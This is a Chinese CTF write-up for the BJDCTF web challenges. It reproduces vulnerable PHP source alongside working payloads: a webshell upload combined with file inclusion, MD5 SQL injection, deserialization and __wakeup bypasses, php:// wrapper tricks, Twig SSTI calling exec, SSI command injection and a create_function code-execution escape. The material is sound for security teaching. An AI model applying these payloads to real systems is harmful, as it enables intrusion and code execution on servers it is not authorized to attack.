目录
寒假终于开始啦,本来定的计划是趁早开始buuoj,顺便看看 htb,但是计划赶不上变化, hgame 和 BJDCTF 几乎同一时间开始,快过年了又跟不少亲戚小伙伴逛吃逛吃,所以刷题计划就耽误了23333 下次一定补回来!
这次 BJDCTF 算是招新赛,题目并不是特别难,但是也从中学到了不少新姿势。比较遗憾的是自从第二天被 Y1ng 师傅分数超了之后就一直没追上23333。

Hello_World
- tags:信息搜集、Fuzz
- 难度:简单
- 分值:50
- 网址
打开网址明显是一个用模板搭建的站,稍微找了下版权信息,没找到23333(如果找到对应的模板可以直接搜索对应模板的ssti漏洞)。

对应这种题目的办法一个是瞎点,看能不能点出来有用信息,其次就是查看源代码的 href 指向,无论哪种都可以很轻松得得到线索 search.php。

打开search.php,会发现返回只有一行字 please make sure your id

这种情况一般需要抓包通过修改 header 来 bypass,用 burp 抓包分析

既然 response 的包有 id 这个字段,且字段名为 “guest” + base64(“guest”),构造一个带相同格式的 request 即可,一般网站的管理员不是 admin 就是 root,简单测试即可得到flag。

Easy_Upload
- tags:文件上传、文件包含
- 难度:简单
- 分值:50
- 网址
打开网页,左边提交信息,按钮是假的,可以不看;右边可以传头像图片,二话不说先传个小马上去。


报错文件类型不对,把后缀名改为 jpg 依然会报这个错,猜测是只判断了 MIME 类型,MIME 修改成 image/jpeg,可以成功上传,并且告诉了上传路径。

由于上传的是 php 文件,但是服务器会强行改后缀名为 jpg,如果要让我们上传的小马生效就必须通过文件包含来打配合,而 index.php 刚好就有文件包含的点,引用刚刚上传的图片即可 getshell 。

小 tips:php 的一个 feature,如果通过php代码 include 或者 require 一个文件,无论他的文件后缀名是什么,都会从读取该文件,将文件内的内容当做php代码执行。这就是为什么 include 一个 jpg 文件可以执行代码。
Hidden_Secrets
- tags:信息搜集、md5爆破
- 难度:简单
- 分值:50
- 网址
这题其实挺坑的,界面长得不像需要用 burp 的样子,因此就一直没往那边想,鶸口令字典跑一遍都不对,然后才想起来可能 header 藏信息了2333。
首先打开网站,index.php 会跳转到 transf1r.php,transf1r.php长这样:

可以先折回去找 index.php 返回了啥信息,用 burp 抓个包就可以看到,里面有两个 flag,交了下都不对23333

那就只能接着刚那个登录框了,刚才说跑了一遍鶸口令,都不太行,然后抓个包才看到这个

接下来就简单了,直接写个脚本爆破这个 md5 就行。
如果大佬懒得写脚本,可以直接提交到 https://www.cmd5.com/,也可以直接得到结果。
# md5.py
# Author : imagin
from hashlib import md5
for i in range(1000000):
h = md5(f"{i}".encode()).hexdigest()
if h == "d0970714757783e6cf17b26fb8e2298f":
print(i)
break
# output :
# 112233
拿到口令登录上去,查看源代码即可得到 flag

Easy_md5
- tags:Sql md5注入,md5 passby
- 难度:一般
- 分值:100
- 网址
打开网址是个提交框,随便交了两次,没啥反应,上 burp!

可以看到 header 里面有 hint
select * from 'admin' where password=md5($pass,true)
这个点做过原题,第一次做的话可能遇到这种会有点蒙,上网找 payload 可以很轻松地找到 ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是
select * from 'admin' where password='' or '6xxxxx'
等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

绕过第一步之后,跳转到第二步的页面,这里一开始题目有个问题,就是出题人直接把这一部做出来跳转的路径暴露了,因此直接访问就可以绕过这一步23333

后来跟出题人反映了一下这个问题,他把改成了下面这样,看来 GXY 那个 sqli2 给他留下了很深的印象2333333

正经做的话,直接可以利用数组来绕过,构造 ?a[]=1&b[]=2 即可,由于 md5 函数哈希数组会返回 NULL,因此只要传两个不同的数组即可绕过限制。此外,php 0e开头的数字会当做科学计数法解析,因此只要构造两组md5值开头为0e的值即可绕过。
第三部分题目把 == 全部换成了 ===,在这种情况下 0e 大法失效,只能通过传数组来解决。

PS:这个题目其实还可以加难度,让第一个 === 两遍的变量都加上 (string),即
(string)$_POST['param1'] !== (string)$_POST['param2'] &&
md5($_POST['param1']) === md5($_POST['param2']))
大家可以稍微想想怎么 passby,答案会在 22 号晚 9 点公布在评论区。
Mark loves cat
- tags:.git泄漏、变量覆盖
- 难度:简单
- 分值:100
- 网址
打开是又是用模板建的站,瞎点啥也没点出来,御剑扫一下目录,得到 /.git/,githack 得到源码,稍微审计一下代码:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
简单来说变量覆盖的点就在那几个$$,直接用get传参数把$flag的值放到其他变量中,输出对应的变量。最简单的方式就是不传 flag,让19行的判断满足条件,让 $yds = $flag 即可。

这反序列化也太简单了吧
- tags:反序列化
- 难度:简单
- 分值:100
- 网址
直接给了源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
class Flag{
public $file;
public function __wakeup(){
$this -> file = 'woc';
}
public function __destruct(){
print_r(file_get_contents($this -> file));
}
}
$exp = $_GET['exp'];
$new = unserialize($exp);
这个没啥好说的,用 CVE-2016-7124 绕过 wakeup 方法即可

ZJCTF,就这?
- tags:php伪协议、反序列化
- 难度:简单
- 分值:150
- 网址
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(strstr(file_get_contents('php://input'),'a')){
die("嚯,有点意思");
}
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
用data协议绕过文件内容验证,然后用filter协议读取next.php的源码(这里想吐槽一下,既然莫得flag.php,还ban个毛呀23333)
http://222.186.56.247:8108/?
text=data://text/plain,I%20have%20a%20dream
&file=php://filter/read/convert.base64-encode/resource=next.php

再把 base64 转回 text:
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
稍微审计一下,是一个 preg_replace /e 模式下的代码执行问题,关于这个问题这篇文章总结的比较详细,这里就不多赘述了,最后 payload:

The Mystery of ip
- tags:模板注入
- 难度:一般
- 分值:150
- 网址
打开网址啥都没有,但是 flag.php 界面会读取 ip,尝试改了下 XFF,ip 可控,因此解题的关键肯定在这个位置。

但是一开始没想到模板注入,试了一下<>都没有被 html 编码,XFF 改为 <script>alert(1)</script> 可以成功弹窗,加上题目引用了 jQuery,因此一开始全在研究这个 jQuery 怎么读写文件,但是姿势水平实在有限,加上 jQuery 好像没有读写文件的权限,因此只能作罢,最后整出来一个能在网页里套娃的操作,大家可以去试试23333,也麻烦熟悉jQuery的师傅们能教教我怎么利用。
<button>一键换装</button> <div id="div1"><h2>123123</h2></div>
<script> $(document).ready(function(){ $("button").click(function(){
$("#div1").load("/index.php"); }); }); </script>
后来在 Y1ng 师傅的提醒下才想到可能是 SSTI,然后随便打了下就出来了。。。

最后的 payload 和 flag:

Cookie is so stable
- tags:模板注入
- 难度:困难
- 分值:150
- 网址
跟上一个题目差不多,区别在于用了 Twig 模板,一开始题目有问题,报错把路径爆出来了,路径名里写着 Twig hhhh

其实不知道这个也可以做,首先要fuzz是什么模板,具体流程见下图

输入{{7*’7′}},发现返回 49,可以断定不是 Twig 就是 Jinja2,但是 Jinja2 不是 php 的模板,因此就只能是 Twig 了,上网找 Twig 对应的 payload 即可
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
这个题目太坑了,一直做到夜里一点多还没搞出来。一开始以为过滤了很多符号,就一直在想怎么 passby, 然后上网搜这个模板的代码,随手沾了一段竟然执行了(里面包括很多我以为过滤了的符号),然后我就彻底蒙了,一直在那里猜这题用的什么神仙正则,然后问了出题人 Shana 师傅才知道原来完全没有过滤,报错是因为代码真的有错……后来找到 paylaod 之后又一直执行不了,心态崩了就睡觉去了,起来之后 Y1ng 师傅倍儿兴奋地说用我那个 payload 搞出来了,心态又崩了。最后发现是服务器给 cookie 编码了,所以命令才没法执行,需要手动把cookie改成没编码的样子,我特么真是弱智 (╯‵□′)╯︵┻━┻

Easy Serialize
- tags:反序列化
- 难度:简单
- 分值:200
- 网址
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(1);
class Read
{
public function get_file($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
class Show
{
public $source;
public $var;
public $class1;
public function __construct($name='index.php')
{
$this->source = $name;
echo $this->source.' Welcome'."<br>";
}
public function __toString()
{
$content = $this->class1->get_file($this->var);
echo $content;
return $content;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function Change()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
}
}
public function __get($key){
$function=$this->$key;
$this->{$key}();
}
}
if(isset($_GET['sid']))
{
$sid=$_GET['sid'];
$config=unserialize($_GET['config']);
$config->$sid;
}
else
{
$show = new Show('index.php');
$show->_show();
}
代码挺简单的,主要思路就是通过 _get 方法触发 Show 类的 $sid 方法,由于_show() 和 Change() 都有过滤,无法读取 falg,只能通过 _toString 触发读取 flag,最后再把 class1 赋值为 Read 类,即可拿到 flag。

又是套娃奥
- tags:无参数RCE
- 难度:一般
- 分值:369
- 网址
又是套娃题23333,感觉这种题目已经被研究的差不多了,有了 if(),随便翻几层目录都可以了,所以下次出题可能就是好几层目录,但是每层目录结构都一样,你也不知道现在在第几层,只能硬着头皮一步一步分析23333。
打开网址得到源码,分析:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET['file'];
echo "Do you Like taowa<br>";
if(isset($_GET['handsomeyds'])){
if(';' === preg_replace('/[a-z|\_]+\((?R)?\)/', NULL, $_GET['handsomeyds'])) {
if (!preg_match('/et|na|nt|ss|info|dec|flip|bin|hex|oct|pi|al|po/i', $_GET['handsomeyds'])) {
eval($_GET['handsomeyds']);
}
else{
die("you cannot use the function");
}
}
else{
die("you cannot do this");
}
}
else{
echo "have a try";
}
还是得翻出来上一次 pdsdt 师傅的文章,这道题甚至直接拿上面的 payload就可以解,然后用 if(chdir(“..”)) 返回上一层目录,读取 flag 就好了,具体 payload:
// 扫描当前目录
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
// 返回上级目录并扫描
if(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
// getflag
if(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))
var_dump(readfile(next(array_reverse(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))));

Easy Search
打开网址,是个登录框,按照前面做题的经验盲猜 header 里有提示,burp抓个包

然而包里啥都莫得,看了下题目给了个 hint,访问 index.php.swp 即可获得源码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
首先第一步要爆破 6d0bc1 这个md5,直接上个脚本一下就跑出来了,此处@弱智 Y1ng 师傅跑了四十多万个字母组合233333(一般 ctf 里的 hash 爆破都是数字)
# md5.py
# Author : imagin
from hashlib import md5
for i in range(10000000):
h = md5(f"{i}".encode()).hexdigest()
if h[:6] == "6d0bc1":
print(i)
break
一下就能跑出来是 2020666,一开始我还以为这题的关键在于跟那个随机字符串同步,但是试了半天也没成功,然后又想到出题人的套路,抓了个包,果然。。。

看代码,是会将 username 的值放到 shtml 文件中的,而 shtml 是可以执行 bash 命令的(JQuery 出来挨打),只要构造
<!--#exec Cmd="id"-->
就可以执行命令:

搜了一下,flag 不在根目录,也不再当前目录,ls ../ 试一下:

cat flag_990c66bf85a09c664f0b6741840499b2 即可得到flag

Ezphp
本次比赛最难的一道题,考点巨多
打开页面,是个炫酷的前端,不过没卵用,看源码得到一串 base32,解码得到1nD3x.php,访问得到源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
源码巨长,一个一个来分析。
- 13 – 18 行:首先 QUERY_STRING 中不能有这些关键字,这本来没啥,但是跟其他过滤条件打配合就很要命了。
- 20 – 25 行:file 参数中不能带 http,同时 debu 参数需要绕过正则匹配函数 preg_match。
- 27 – 32 行:$_REQUEST 中的值(GET 或者 POST 方法传递的变量的值)不能有大小写的英文字母。
- 34 – 35 行:file 变量作为文件名,这个文件的内容应该等于一个特定字符串
- 38 – 43 行:sha1 绕过,跟 md5 大同小异
- 45 – 51 行:这里应该是最终拿 flag 的地方,可以先不管
总体来说,要先绕过 1 – 5 五个过滤,其中 5 最好绕,而且是跟其他四个条件没关系的,可以用上文提到的数组大法绕过。之后看 4,一下就能想到伪协议绕过,此处其实有两个选择,一个是 php://input,另一个是 data://,目前看来两个都可以,此外,直接引用自己 vps 上的 txt 文件也是可以的,但是由于 2 中过滤了http,因此只能用这两种方法;但是直接绕过的话有两个问题,第一 debu 作为关键字被过滤条件 1 拦截,但是无所谓,可以使用 URL 编码绕过;第二 file 变量的内容只有绕过了过滤条件 2 才可控,因此再看 2。绕过过滤条件 2 我们需要传递 debu 参数,这个 debu 的值不能等于 aqua_is_cute 但是需要被正则 ^aqua_is_cute$ 匹配到,这里需要利用 preg_match() 的一个 feature,就是在最后加一个 0x0a,依然可以被正则匹配到,而且这样变量 debu 的值就和字符串不相等了,完美绕过。至此,file 变量已经可控,但是 file 无论如何也得带字母,还得考虑 3,但是仔细看源码,接受参数的地方都是 $_GET,而 3 的过滤对象是 $_REQUEST,由于 $_REQUEST 在解析的时候有顺序,POST 过来的变量会覆盖掉 GET 到的同名变量,因此需要再 post 过去 file=1 就可以绕过。到现在前五个过滤条件就完美绕过了,现在再看伪协议的两个选择,input 是将 post 过来的数据全部当做文件内容,而我们还需要 post 过去 file=1,因此只能用 data 伪协议。这时候的 payload:
?%64%65%62%75=%61qua%5fis%5fcut%65%0a&
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
POST
%64%65%62%75=1&file=1
虽说我们已经绕过了前面所有的过滤,但是最后一个才是最难的。首先仔细看源码,5 中我们可以传递 flag 变量来使 $code 和 $arg 可控;其次过滤了可以执行命令或者读取文件的一系列函数,于是就去找类似 $code(”, $arg); 形式的双参数函数,可以找到 create_function()。
create_function() 类似于 python 中的 lambda,但是只会定义函数不会执行。
create_function('$imagin','echo $imagin');
// 上面的代码等同于下面的
function whatever($imagin){ echo $imagin; }
为了能够执行 php 命令,我们需要从 create_function 中逃逸出来,类似于 sql 注入,我们可以强行先闭合大括号然后再注释掉后面原本的大括号,中间的代码就可以执行了。
$imagin = "} phpinfo(); //";
function whatever($imagin){ echo $imagin; }
// 上面的代码等同于下面的
function whatever(){ echo } phpinfo(); //; }
因此我们可以构造 payload,由于能用的函数基本都被禁了(甚至 phpinfo 都被禁了),只能用一些非常规函数来 getflag,这个题由于 include 了 flag.php 因此 flag 肯定在变量里面,所以我们可以用 get_defined_vars() 来 getflag 。payload:flag[arg]=}var_dump(get_defined_vars());//&flag=create_function,再把他 URL 编码一下就可以成功执行了,执行成功之后可以看到该页面并没有flag,真正的 flag 在 realf1ag.php 里面。
终于做到这个题目真正的难点了,就是读取 flag,6 的 preg_match() 过滤了一吨函数,稍微看了一下 fgets 没过滤,但是 fgets 遇到 \n 就会停止读取数据,而php的文件指针又不像 c 一样能有 ++ 操作,所以我就卡在这一步了,后来全靠shana 师傅告诉了一个 define 函数可以定义变量,才勉强把这个题做出来,shana 师傅 tttttttttql!最后的 paylaod:

此外,这个题还有个正经解法,就是通过 include (~(php://filter/) 这种方式读取源码,中间的内容用~替换成URL编码,即可完成绕过。具体可以参考 Y1ng 师傅的文章。